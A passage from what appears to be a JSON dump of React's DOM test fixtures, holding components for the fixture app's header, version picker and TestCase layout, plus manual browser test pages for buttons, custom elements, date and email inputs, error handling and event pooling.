    "content": "import {parse, stringify} from 'query-string';\nimport VersionPicker from './VersionPicker';\n\nconst React = window.React;\n\nclass Header extends React.Component {\n  constructor(props, context) {\n    super(props, context);\n    const query = parse(window.location.search);\n    const version = query.version || 'local';\n    const production = query.production || false;\n    const versions = [version];\n\n    this.state = {version, versions, production};\n  }\n  handleVersionChange(version) {\n    const query = parse(window.location.search);\n    query.version = version;\n    if (query.version === 'local') {\n      delete query.version;\n    }\n    window.location.search = stringify(query);\n  }\n  handleProductionChange(event) {\n    const query = parse(window.location.search);\n    query.production = event.target.checked;\n    if (!query.production) {\n      delete query.production;\n    }\n    window.location.search = stringify(query);\n  }\n  handleFixtureChange(event) {\n    window.location.pathname = event.target.value;\n  }\n  render() {\n    return (\n      <header className=\"header\">\n        <div className=\"header__inner\">\n          <span className=\"header__logo\">\n            <img\n              src={process.env.PUBLIC_URL + '/react-logo.svg'}\n              alt=\"React\"\n              width=\"20\"\n              height=\"20\"\n            />\n            <a href=\"/\">\n              DOM Test Fixtures (v\n              {React.version})\n            </a>\n          </span>\n\n          <div className=\"header-controls\">\n            <input\n              id=\"react_production\"\n              className=\"header__checkbox\"\n              type=\"checkbox\"\n              checked={this.state.production}\n              onChange={this.handleProductionChange}\n            />\n            <label htmlFor=\"react_production\" className=\"header__label\">\n              Production\n            </label>\n            <label htmlFor=\"example\">\n              <span className=\"sr-only\">Select an example</span>\n              <select\n                value={window.location.pathname}\n                onChange={this.handleFixtureChange}>\n                <option value=\"/\">Home</option>\n                <option value=\"/hydration\">Hydration</option>\n                <option value=\"/range-inputs\">Range Inputs</option>\n                <option value=\"/text-inputs\">Text Inputs</option>\n                <option value=\"/number-inputs\">Number Input</option>\n                <option value=\"/password-inputs\">Password Input</option>\n                <option value=\"/email-inputs\">Email Input</option>\n                <option value=\"/selects\">Selects</option>\n                <option value=\"/textareas\">Textareas</option>\n                <option value=\"/progress\">Progress</option>\n                <option value=\"/input-change-events\">\n                  Input change events\n                </option>\n                <option value=\"/buttons\">Buttons</option>\n                <option value=\"/date-inputs\">Date Inputs</option>\n                <option value=\"/error-handling\">Error Handling</option>\n                <option value=\"/event-pooling\">Event Pooling</option>\n                <option value=\"/custom-elements\">Custom Elements</option>\n                <option value=\"/media-events\">Media Events</option>\n                <option value=\"/pointer-events\">Pointer Events</option>\n                <option value=\"/mouse-events\">Mouse Events</option>\n                <option value=\"/selection-events\">Selection Events</option>\n                <option value=\"/suspense\">Suspense</option>\n                <option value=\"/form-actions\">Form Actions</option>\n                <option value=\"/form-state\">Form State</option>\n                <option value=\"/fragment-refs\">Fragment Refs</option>\n              </select>\n            </label>\n            <label htmlFor=\"global_version\">\n              <span className=\"sr-only\">Select a version to test</span>\n              <VersionPicker\n                id=\"global_version\"\n                name=\"global_version\"\n                version={this.state.version}\n                onChange={this.handleVersionChange}\n              />\n            </label>\n          </div>\n        </div>\n      </header>\n    );\n  }\n}\n\nexport default Header;\n"
  },
  {
    "path": "fixtures/dom/src/components/Iframe.js",
    "content": "const React = window.React;\nconst ReactDOM = window.ReactDOM;\n\nclass IframePortal extends React.Component {\n  iframeRef = null;\n\n  handleRef = ref => {\n    if (ref !== this.iframeRef) {\n      this.iframeRef = ref;\n      if (ref) {\n        if (ref.contentDocument && this.props.head) {\n          ref.contentDocument.head.innerHTML = this.props.head;\n        }\n        // Re-render must take place in the next tick (Firefox)\n        setTimeout(() => {\n          this.forceUpdate();\n        });\n      }\n    }\n  };\n\n  render() {\n    const ref = this.iframeRef;\n    let portal = null;\n    if (ref && ref.contentDocument) {\n      portal = ReactDOM.createPortal(\n        this.props.children,\n        ref.contentDocument.body\n      );\n    }\n\n    return (\n      <div>\n        <iframe\n          title=\"Iframe portal\"\n          style={{border: 'none', height: this.props.height}}\n          ref={this.handleRef}\n        />\n        {portal}\n      </div>\n    );\n  }\n}\n\nclass IframeSubtree extends React.Component {\n  warned = false;\n  render() {\n    if (!this.warned) {\n      console.error(\n        `IFrame has not yet been implemented for React v${React.version}`\n      );\n      this.warned = true;\n    }\n    return <div>{this.props.children}</div>;\n  }\n}\n\nexport default ReactDOM.createPortal ? IframePortal : IframeSubtree;\n"
  },
  {
    "path": "fixtures/dom/src/components/IssueList.js",
    "content": "const React = window.React;\n\nfunction csv(string) {\n  return string.split(/\\s*,\\s*/);\n}\n\nexport default function IssueList({issues}) {\n  if (!issues) {\n    return null;\n  }\n\n  if (typeof issues === 'string') {\n    issues = csv(issues);\n  }\n\n  let links = issues.reduce((memo, issue, i) => {\n    return memo.concat(\n      i > 0 && i < issues.length ? ', ' : null,\n      <a href={'https://github.com/facebook/react/issues/' + issue} key={issue}>\n        {issue}\n      </a>\n    );\n  }, []);\n\n  return <span>{links}</span>;\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/TestCase.js",
    "content": "import cn from 'classnames';\nimport semver from 'semver';\nimport PropTypes from 'prop-types';\nimport IssueList from './IssueList';\nimport {parse} from 'query-string';\nimport {semverString} from './propTypes';\n\nconst React = window.React;\n\nconst propTypes = {\n  children: PropTypes.node.isRequired,\n  title: PropTypes.node.isRequired,\n  resolvedIn: semverString,\n  introducedIn: semverString,\n  resolvedBy: PropTypes.string,\n};\n\nclass TestCase extends React.Component {\n  constructor(props, context) {\n    super(props, context);\n\n    this.state = {\n      complete: false,\n    };\n  }\n\n  handleChange = e => {\n    this.setState({\n      complete: e.target.checked,\n    });\n  };\n\n  render() {\n    const {\n      title,\n      description,\n      introducedIn,\n      resolvedIn,\n      resolvedBy,\n      affectedBrowsers,\n      relatedIssues,\n      children,\n    } = this.props;\n\n    let {complete} = this.state;\n\n    const {version} = parse(window.location.search);\n    const isTestFixed =\n      !version || !resolvedIn || semver.gte(version, resolvedIn);\n\n    complete = !isTestFixed || complete;\n\n    return (\n      <section className={cn('test-case', complete && 'test-case--complete')}>\n        <h2 className=\"test-case__title type-subheading\">\n          <label>\n            <input\n              className=\"test-case__title__check\"\n              type=\"checkbox\"\n              checked={complete}\n              onChange={this.handleChange}\n            />{' '}\n            {title}\n          </label>\n        </h2>\n\n        <dl className=\"test-case__details\">\n          {introducedIn && <dt>First broken in: </dt>}\n          {introducedIn && (\n            <dd>\n              <a\n                href={'https://github.com/facebook/react/tag/v' + introducedIn}>\n                <code>{introducedIn}</code>\n              </a>\n            </dd>\n          )}\n\n          {resolvedIn && <dt>First supported in: </dt>}\n          {resolvedIn && (\n            <dd>\n              <a href={'https://github.com/facebook/react/tag/v' + resolvedIn}>\n                <code>{resolvedIn}</code>\n              </a>\n            </dd>\n          )}\n\n          {resolvedBy && <dt>Fixed by: </dt>}\n          {resolvedBy && (\n            <dd>\n              <a\n                href={\n                  'https://github.com/facebook/react/pull/' +\n                  resolvedBy.slice(1)\n                }>\n                <code>{resolvedBy}</code>\n              </a>\n            </dd>\n          )}\n\n          {affectedBrowsers && <dt>Affected browsers: </dt>}\n          {affectedBrowsers && <dd>{affectedBrowsers}</dd>}\n\n          {relatedIssues && <dt>Related Issues: </dt>}\n          {relatedIssues && (\n            <dd>\n              <IssueList issues={relatedIssues} />\n            </dd>\n          )}\n        </dl>\n\n        <p className=\"test-case__desc\">{description}</p>\n\n        <div className=\"test-case__body\">\n          {!isTestFixed && (\n            <p className=\"test-case__invalid-version\">\n              <strong>Note:</strong> This test case was fixed in a later version\n              of React. This test is not expected to pass for the selected\n              version, and that's ok!\n            </p>\n          )}\n\n          {children}\n        </div>\n      </section>\n    );\n  }\n}\n\nTestCase.propTypes = propTypes;\n\nTestCase.Steps = class extends React.Component {\n  render() {\n    const {children} = this.props;\n    return (\n      <div>\n        <h3>Steps to reproduce:</h3>\n        <ol>{children}</ol>\n      </div>\n    );\n  }\n};\n\nTestCase.ExpectedResult = class extends React.Component {\n  render() {\n    const {children} = this.props;\n    return (\n      <div>\n        <h3>Expected Result:</h3>\n        <p>{children}</p>\n      </div>\n    );\n  }\n};\nexport default TestCase;\n"
  },
  {
    "path": "fixtures/dom/src/components/VersionPicker.js",
    "content": "import getVersionTags from '../tags';\n\nconst React = window.React;\n\nclass VersionPicker extends React.Component {\n  constructor(props, context) {\n    super(props, context);\n    const version = props.version || 'local';\n    const versions = [version];\n    this.state = {versions};\n  }\n\n  componentWillMount() {\n    getVersionTags().then(tags => {\n      let versions = tags.map(tag => tag.name.slice(1));\n      versions = [`local`, ...versions];\n      this.setState({versions});\n    });\n  }\n\n  onChange = event => {\n    this.props.onChange(event.target.value);\n  };\n\n  render() {\n    const {version, id, name} = this.props;\n    const {versions} = this.state;\n\n    return (\n      <select id={id} name={name} value={version} onChange={this.onChange}>\n        {versions.map(version => (\n          <option key={version} value={version}>\n            {version}\n          </option>\n        ))}\n      </select>\n    );\n  }\n}\n\nexport default VersionPicker;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/buttons/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\n\nconst React = window.React;\n\nfunction onButtonClick() {\n  window.alert(`This shouldn't have happened!`);\n}\n\nexport default class ButtonTestCases extends React.Component {\n  render() {\n    return (\n      <FixtureSet title=\"Buttons\">\n        <TestCase\n          title=\"onClick with disabled buttons\"\n          description=\"The onClick event handler should not be invoked when clicking on a disabled button\">\n          <TestCase.Steps>\n            <li>Click on the disabled button</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            Nothing should happen\n          </TestCase.ExpectedResult>\n          <button disabled onClick={onButtonClick}>\n            Click Me\n          </button>\n        </TestCase>\n        <TestCase\n          title=\"onClick with disabled buttons containing other elements\"\n          description=\"The onClick event handler should not be invoked when clicking on a disabled button that contains other elements\">\n          <TestCase.Steps>\n            <li>Click on the disabled button, which contains a span</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            Nothing should happen\n          </TestCase.ExpectedResult>\n          <button disabled onClick={onButtonClick}>\n            <span>Click Me</span>\n          </button>\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/custom-elements/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\n\nconst React = window.React;\nconst ReactDOM = window.ReactDOM;\n\nconst supportsCustomElements = typeof customElements !== 'undefined';\n\nclass HelloWorld extends React.Component {\n  render() {\n    return <h1>Hello, world!</h1>;\n  }\n}\n\nif (supportsCustomElements) {\n  // Babel breaks web components.\n  // https://github.com/w3c/webcomponents/issues/587\n  // eslint-disable-next-line no-new-func\n  const MyElement = new Function(\n    'React',\n    'ReactDOM',\n    'HelloWorld',\n    `\n    return class MyElement extends HTMLElement {\n      constructor() {\n        super();\n        const shadowRoot = this.attachShadow({ mode:'open' });\n        ReactDOM.render(React.createElement(HelloWorld), shadowRoot);\n      }\n    }`\n  )(React, ReactDOM, HelloWorld);\n  customElements.define('my-element', MyElement);\n}\n\nexport default class ButtonTestCases extends React.Component {\n  render() {\n    return (\n      <FixtureSet\n        title=\"Custom Elements\"\n        description=\"Support for Custom Element DOM standards.\">\n        <TestCase title=\"Rendering into shadow root\">\n          <TestCase.ExpectedResult>\n            You should see \"Hello, World\" printed below.{' '}\n          </TestCase.ExpectedResult>\n          {supportsCustomElements ? (\n            <my-element />\n          ) : (\n            <div>This browser does not support custom elements.</div>\n          )}\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/date-inputs/index.js",
    "content": "import Fixture from '../../Fixture';\nimport FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\nimport SwitchDateTestCase from './switch-date-test-case';\n\nconst React = window.React;\n\nclass DateInputFixtures extends React.Component {\n  render() {\n    return (\n      <FixtureSet title=\"Dates\">\n        <TestCase title=\"Switching between date and datetime-local\">\n          <TestCase.Steps>\n            <li>Type a date into the date picker</li>\n            <li>Toggle \"Switch type\"</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The month, day, and year values should correctly transfer. The\n            hours/minutes/seconds should not be discarded.\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <SwitchDateTestCase />\n          </Fixture>\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n\nexport default DateInputFixtures;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/date-inputs/switch-date-test-case.js",
    "content": "const React = window.React;\n\nconst startDate = new Date();\n/**\n * This test case was originally provided by @richsoni,\n * https://github.com/facebook/react/issues/8116\n */\nclass SwitchDateTestCase extends React.Component {\n  state = {\n    fullDate: false,\n    date: startDate,\n  };\n\n  render() {\n    const attrs = this.inputAttrs();\n\n    return (\n      <div>\n        <p>\n          <b>{attrs.type}</b> input type ({attrs.value})\n        </p>\n        <p>\n          <input\n            type={attrs.type}\n            value={attrs.value}\n            onChange={this.onInputChange}\n          />\n          <label>\n            <input\n              type=\"checkbox\"\n              checked={this.state.fullDate}\n              onChange={this.updateFullDate}\n            />{' '}\n            Switch type\n          </label>\n        </p>\n      </div>\n    );\n  }\n\n  inputAttrs() {\n    if (this.state.fullDate) {\n      return {\n        type: 'datetime-local',\n        value: this.state.date.toISOString().replace(/\\..*Z/, ''),\n      };\n    } else {\n      return {\n        type: 'date',\n        value: this.state.date.toISOString().replace(/T.*/, ''),\n      };\n    }\n  }\n\n  onInputChange = ({target: {value}}) => {\n    const date = value ? new Date(Date.parse(value)) : startDate;\n    this.setState({date});\n  };\n\n  updateFullDate = () => {\n    this.setState({\n      fullDate: !this.state.fullDate,\n    });\n  };\n}\n\nexport default SwitchDateTestCase;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/email-inputs/EmailDisabledAttributesTestCase.js",
    "content": "import Fixture from '../../Fixture';\n\nconst React = window.React;\n\nclass EmailDisabledAttributesTestCase extends React.Component {\n  state = {value: 'a@fb.com'};\n  onChange = event => {\n    this.setState({value: event.target.value});\n  };\n  render() {\n    return (\n      <Fixture>\n        <div>{this.props.children}</div>\n\n        <div className=\"control-box\">\n          <fieldset>\n            <legend>Controlled</legend>\n            <input\n              type=\"email\"\n              value={this.state.value}\n              onChange={this.onChange}\n            />\n            <span className=\"hint\">\n              {' '}\n              Value: {JSON.stringify(this.state.value)}\n            </span>\n          </fieldset>\n\n          <fieldset>\n            <legend>Uncontrolled</legend>\n            <input type=\"email\" defaultValue=\"\" />\n          </fieldset>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default EmailDisabledAttributesTestCase;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/email-inputs/EmailEnabledAttributesTestCase.js",
    "content": "import Fixture from '../../Fixture';\n\nconst React = window.React;\n\nclass EmailAttributesTestCase extends React.Component {\n  state = {value: 'a@fb.com'};\n  onChange = event => {\n    this.setState({value: event.target.value});\n  };\n  render() {\n    return (\n      <Fixture>\n        <div>{this.props.children}</div>\n\n        <div className=\"control-box\">\n          <fieldset>\n            <legend>Controlled</legend>\n            <input\n              type=\"email\"\n              pattern=\".+@fb.com\"\n              maxlength={17}\n              multiple={true}\n              value={this.state.value}\n              onChange={this.onChange}\n            />\n            <span className=\"hint\">\n              {' '}\n              Value: {JSON.stringify(this.state.value)}\n            </span>\n          </fieldset>\n\n          <fieldset>\n            <legend>Uncontrolled</legend>\n            <input\n              type=\"email\"\n              defaultValue=\"\"\n              pattern=\".+@fb.com\"\n              maxlength={17}\n              multiple={true}\n            />\n          </fieldset>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default EmailAttributesTestCase;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/email-inputs/JumpingCursorTestCase.js",
    "content": "import Fixture from '../../Fixture';\n\nconst React = window.React;\n\nclass JumpingCursorTestCase extends React.Component {\n  state = {value: ''};\n  onChange = event => {\n    this.setState({value: event.target.value});\n  };\n  render() {\n    return (\n      <Fixture>\n        <div>{this.props.children}</div>\n\n        <div className=\"control-box\">\n          <fieldset>\n            <legend>Controlled</legend>\n            <input\n              type=\"email\"\n              value={this.state.value}\n              onChange={this.onChange}\n            />\n            <span className=\"hint\">\n              {' '}\n              Value: {JSON.stringify(this.state.value)}\n            </span>\n          </fieldset>\n\n          <fieldset>\n            <legend>Uncontrolled</legend>\n            <input type=\"email\" defaultValue=\"\" />\n          </fieldset>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default JumpingCursorTestCase;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/email-inputs/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\nimport JumpingCursorTestCase from './JumpingCursorTestCase';\nimport EmailEnabledAttributesTestCase from './EmailEnabledAttributesTestCase';\nimport EmailDisabledAttributesTestCase from './EmailDisabledAttributesTestCase';\n\nconst React = window.React;\n\nfunction EmailInputs() {\n  return (\n    <FixtureSet title=\"Email inputs\">\n      <TestCase\n        title=\"Spaces in email inputs\"\n        description={`\n          Some browsers are trying to remove spaces from email inputs and after\n          doing this place cursor to the beginning.\n        `}\n        affectedBrowsers=\"Chrome\">\n        <TestCase.Steps>\n          <li>Type space and character</li>\n          <li>Type character, space, character, delete last character</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>Cursor not moving.</TestCase.ExpectedResult>\n\n        <JumpingCursorTestCase />\n      </TestCase>\n\n      <TestCase\n        title=\"Attributes enabled\"\n        description={`\n          Test enabled pattern, maxlength, multiple attributes.\n        `}>\n        <TestCase.Steps>\n          <li>Type after existing text ',b@tt.com'</li>\n          <li>Try to type spaces after typed text</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          Spaces not added. When cursor hovered over input, popup \"Please match\n          the requested format.\" is showed.\n        </TestCase.ExpectedResult>\n\n        <EmailEnabledAttributesTestCase />\n      </TestCase>\n\n      <TestCase\n        title=\"Attributes disabled\"\n        description={`\n          Test disabled maxlength, multiple attributes.\n        `}>\n        <TestCase.Steps>\n          <li>Type after existing text ',b@tt.com'</li>\n          <li>Try to type spaces after typed text</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          Spaces are added freely. When cursor hovered over input, popup \"A part\n          following '@' should not contain the symbol ','.\" is showed.\n        </TestCase.ExpectedResult>\n\n        <EmailDisabledAttributesTestCase />\n      </TestCase>\n    </FixtureSet>\n  );\n}\n\nexport default EmailInputs;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/error-handling/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\n\nconst React = window.React;\nconst ReactDOM = window.ReactDOM;\n\nfunction BadRender(props) {\n  props.doThrow();\n}\n\nclass BadDidMount extends React.Component {\n  componentDidMount() {\n    this.props.doThrow();\n  }\n\n  render() {\n    return null;\n  }\n}\n\nclass ErrorBoundary extends React.Component {\n  static defaultProps = {\n    buttonText: 'Trigger error',\n    badChildType: BadRender,\n  };\n  state = {\n    shouldThrow: false,\n    didThrow: false,\n    error: null,\n  };\n  componentDidCatch(error) {\n    this.setState({error, didThrow: true});\n  }\n  triggerError = () => {\n    this.setState({\n      shouldThrow: true,\n    });\n  };\n  render() {\n    if (this.state.didThrow) {\n      if (this.state.error) {\n        return <p>Captured an error: {this.state.error.message}</p>;\n      } else {\n        return <p>Captured an error: {String(this.state.error)}</p>;\n      }\n    }\n    if (this.state.shouldThrow) {\n      const BadChild = this.props.badChildType;\n      return <BadChild doThrow={this.props.doThrow} />;\n    }\n    return <button onClick={this.triggerError}>{this.props.buttonText}</button>;\n  }\n}\nclass Example extends React.Component {\n  state = {key: 0};\n  restart = () => {\n    this.setState(state => ({key: state.key + 1}));\n  };\n  render() {\n    return (\n      <div>\n        <button onClick={this.restart}>Reset</button>\n        <ErrorBoundary\n          buttonText={this.props.buttonText}\n          doThrow={this.props.doThrow}\n          key={this.state.key}\n        />\n      </div>\n    );\n  }\n}\n\nclass TriggerErrorAndCatch extends React.Component {\n  container = document.createElement('div');\n\n  triggerErrorAndCatch = () => {\n    try {\n      ReactDOM.flushSync(() => {\n        ReactDOM.render(\n          <BadRender\n            doThrow={() => {\n              throw new Error('Caught error');\n            }}\n          />,\n          this.container\n        );\n      });\n    } catch (e) {}\n  };\n\n  render() {\n    return (\n      <button onClick={this.triggerErrorAndCatch}>\n        Trigger error and catch\n      </button>\n    );\n  }\n}\n\nfunction silenceWindowError(event) {\n  event.preventDefault();\n}\n\nclass SilenceErrors extends React.Component {\n  state = {\n    silenceErrors: false,\n  };\n  componentDidMount() {\n    if (this.state.silenceErrors) {\n      window.addEventListener('error', silenceWindowError);\n    }\n  }\n  componentDidUpdate(prevProps, prevState) {\n    if (!prevState.silenceErrors && this.state.silenceErrors) {\n      window.addEventListener('error', silenceWindowError);\n    } else if (prevState.silenceErrors && !this.state.silenceErrors) {\n      window.removeEventListener('error', silenceWindowError);\n    }\n  }\n  componentWillUnmount() {\n    if (this.state.silenceErrors) {\n      window.removeEventListener('error', silenceWindowError);\n    }\n  }\n  render() {\n    return (\n      <div>\n        <label>\n          <input\n            type=\"checkbox\"\n            value={this.state.silenceErrors}\n            onChange={() =>\n              this.setState(state => ({\n                silenceErrors: !state.silenceErrors,\n              }))\n            }\n          />\n          Silence errors\n        </label>\n        {this.state.silenceErrors && (\n          <div>\n            {this.props.children}\n            <br />\n            <hr />\n            <b style={{color: 'red'}}>\n              Don't forget to uncheck \"Silence errors\" when you're done with\n              this test!\n            </b>\n          </div>\n        )}\n      </div>\n    );\n  }\n}\nclass GetEventTypeDuringUpdate extends React.Component {\n  state = {};\n\n  onClick = () => {\n    this.expectUpdate = true;\n    this.forceUpdate();\n  };\n\n  componentDidUpdate() {\n    if (this.expectUpdate) {\n      this.expectUpdate = false;\n      this.setState({eventType: window.event.type});\n      setTimeout(() => {\n        this.setState({cleared: !window.event});\n      });\n    }\n  }\n\n  render() {\n    return (\n      <div className=\"test-fixture\">\n        <button onClick={this.onClick}>Trigger callback in event.</button>\n        {this.state.eventType ? (\n          <p>\n            Got <b>{this.state.eventType}</b> event.\n          </p>\n        ) : (\n          <p>Got no event</p>\n        )}\n        {this.state.cleared ? (\n          <p>Event cleared correctly.</p>\n        ) : (\n          <p>Event failed to clear.</p>\n        )}\n      </div>\n    );\n  }\n}\n\nclass SilenceRecoverableError extends React.Component {\n  render() {\n    return (\n      <SilenceErrors>\n        <ErrorBoundary\n          badChildType={BadRender}\n          buttonText={'Throw (render phase)'}\n          doThrow={() => {\n            throw new Error('Silenced error (render phase)');\n          }}\n        />\n        <ErrorBoundary\n          badChildType={BadDidMount}\n          buttonText={'Throw (commit phase)'}\n          doThrow={() => {\n            throw new Error('Silenced error (commit phase)');\n          }}\n        />\n      </SilenceErrors>\n    );\n  }\n}\n\nclass TrySilenceFatalError extends React.Component {\n  container = document.createElement('div');\n\n  triggerErrorAndCatch = () => {\n    try {\n      ReactDOM.flushSync(() => {\n        ReactDOM.render(\n          <BadRender\n            doThrow={() => {\n              throw new Error('Caught error');\n            }}\n          />,\n          this.container\n        );\n      });\n    } catch (e) {}\n  };\n\n  render() {\n    return (\n      <SilenceErrors>\n        <button onClick={this.triggerErrorAndCatch}>Throw fatal error</button>\n      </SilenceErrors>\n    );\n  }\n}\n\nfunction naiveMemoize(fn) {\n  let memoizedEntry;\n  return function () {\n    if (!memoizedEntry) {\n      memoizedEntry = {result: null};\n      memoizedEntry.result = fn();\n    }\n    return memoizedEntry.result;\n  };\n}\nlet memoizedFunction = naiveMemoize(function () {\n  throw new Error('Passed');\n});\n\nexport default class ErrorHandlingTestCases extends React.Component {\n  render() {\n    return (\n      <FixtureSet title=\"Error handling\">\n        <TestCase\n          title=\"Break on uncaught exceptions\"\n          description=\"In DEV, errors should be treated as uncaught, even though React catches them internally\">\n          <TestCase.Steps>\n            <li>Open the browser DevTools</li>\n            <li>Make sure \"Pause on exceptions\" is enabled</li>\n            <li>Make sure \"Pause on caught exceptions\" is disabled</li>\n            <li>Click the \"Trigger error\" button</li>\n            <li>Click the reset button</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            The DevTools should pause at the line where the error was thrown, in\n            the BadRender component. After resuming, the \"Trigger error\" button\n            should be replaced with \"Captured an error: Oops!\" Clicking reset\n            should reset the test case.\n            <br />\n            <br />\n            In the console, you should see <b>two</b> messages: the actual error\n            (\"Oops\") printed natively by the browser with its JavaScript stack,\n            and our addendum (\"The above error occurred in BadRender component\")\n            with a React component stack.\n          </TestCase.ExpectedResult>\n          <Example\n            doThrow={() => {\n              throw new Error('Oops!');\n            }}\n          />\n        </TestCase>\n        <TestCase title=\"Throwing null\" description=\"\">\n          <TestCase.Steps>\n            <li>Click the \"Trigger error\" button</li>\n            <li>Click the reset button</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            The \"Trigger error\" button should be replaced with \"Captured an\n            error: null\". Clicking reset should reset the test case.\n          </TestCase.ExpectedResult>\n          <Example\n            doThrow={() => {\n              throw null; // eslint-disable-line no-throw-literal\n            }}\n          />\n        </TestCase>\n        <TestCase title=\"Throwing memoized result\" description=\"\">\n          <TestCase.Steps>\n            <li>Click the \"Trigger error\" button</li>\n            <li>Click the reset button</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            The \"Trigger error\" button should be replaced with \"Captured an\n            error: Passed\". Clicking reset should reset the test case.\n          </TestCase.ExpectedResult>\n          <Example\n            doThrow={() => {\n              memoizedFunction().value;\n            }}\n          />\n        </TestCase>\n        <TestCase\n          title=\"Cross-origin errors (development mode only)\"\n          description=\"\">\n          <TestCase.Steps>\n            <li>Click the \"Trigger cross-origin error\" button</li>\n            <li>Click the reset button</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            The \"Trigger error\" button should be replaced with \"Captured an\n            error: A cross-origin error was thrown [...]\". The actual error\n            message should be logged to the console: \"Uncaught Error: Expected\n            true to be false\".\n          </TestCase.ExpectedResult>\n          <Example\n            buttonText=\"Trigger cross-origin error\"\n            doThrow={() => {\n              // The `expect` module is loaded via unpkg, so that this assertion\n              // triggers a cross-origin error\n              window.expect(true).toBe(false);\n            }}\n          />\n        </TestCase>\n        <TestCase\n          title=\"Errors are logged even if they're caught (development mode only)\"\n          description=\"\">\n          <TestCase.Steps>\n            <li>Click the \"Trigger render error and catch\" button</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            Open the console. \"Uncaught Error: Caught error\" should have been\n            logged by the browser. You should also see our addendum (\"The above\n            error...\").\n          </TestCase.ExpectedResult>\n          <TriggerErrorAndCatch />\n        </TestCase>\n        <TestCase\n          title=\"Recoverable errors can be silenced with preventDefault (development mode only)\"\n          description=\"\">\n          <TestCase.Steps>\n            <li>Check the \"Silence errors\" checkbox below</li>\n            <li>Click the \"Throw (render phase)\" button</li>\n            <li>Click the \"Throw (commit phase)\" button</li>\n            <li>Uncheck the \"Silence errors\" checkbox</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            Open the console. You shouldn't see <b>any</b> messages in the\n            console: neither the browser error, nor our \"The above error\"\n            addendum, from either of the buttons. The buttons themselves should\n            get replaced by two labels: \"Captured an error: Silenced error\n            (render phase)\" and \"Captured an error: Silenced error (commit\n            phase)\".\n          </TestCase.ExpectedResult>\n          <SilenceRecoverableError />\n        </TestCase>\n        <TestCase\n          title=\"Fatal errors cannot be silenced with preventDefault (development mode only)\"\n          description=\"\">\n          <TestCase.Steps>\n            <li>Check the \"Silence errors\" checkbox below</li>\n            <li>Click the \"Throw fatal error\" button</li>\n            <li>Uncheck the \"Silence errors\" checkbox</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            Open the console. \"Error: Caught error\" should have been logged by\n            React. You should also see our addendum (\"The above error...\").\n          </TestCase.ExpectedResult>\n          <TrySilenceFatalError />\n        </TestCase>\n\n        {window.hasOwnProperty('event') ? (\n          <TestCase\n            title=\"Error handling does not interfere with window.event\"\n            description=\"\">\n            <TestCase.Steps>\n              <li>Click the \"Trigger callback in event\" button</li>\n            </TestCase.Steps>\n            <TestCase.ExpectedResult>\n              You should see \"Got <b>click</b> event\" and \"Event cleared\n              successfully\" below.\n            </TestCase.ExpectedResult>\n            <GetEventTypeDuringUpdate />\n          </TestCase>\n        ) : null}\n      </FixtureSet>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/event-pooling/hit-box.js",
    "content": "const React = window.React;\n\nclass HitBox extends React.Component {\n  state = {\n    x: 0,\n    y: 0,\n  };\n\n  static defaultProps = {\n    onMouseMove: n => n,\n  };\n\n  onMove = event => {\n    this.setState({x: event.clientX, y: event.clientY});\n    this.props.onMouseMove(event);\n  };\n\n  render() {\n    const {x, y} = this.state;\n\n    const boxStyle = {\n      padding: '10px 20px',\n      border: '1px solid #d9d9d9',\n      margin: '10px 0 20px',\n    };\n\n    return (\n      <div onMouseMove={this.onMove} style={boxStyle}>\n        <p>Trace your mouse over this box.</p>\n        <p>\n          Last movement: {x},{y}\n        </p>\n      </div>\n    );\n  }\n}\n\nexport default HitBox;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/event-pooling/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport MouseMove from './mouse-move';\nimport Persistence from './persistence';\n\nconst React = window.React;\n\nclass EventPooling extends React.Component {\n  render() {\n    return (\n      <FixtureSet title=\"Event Pooling\">\n        <MouseMove />\n        <Persistence />\n      </FixtureSet>\n    );\n  }\n}\n\nexport default EventPooling;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/event-pooling/mouse-move.js",
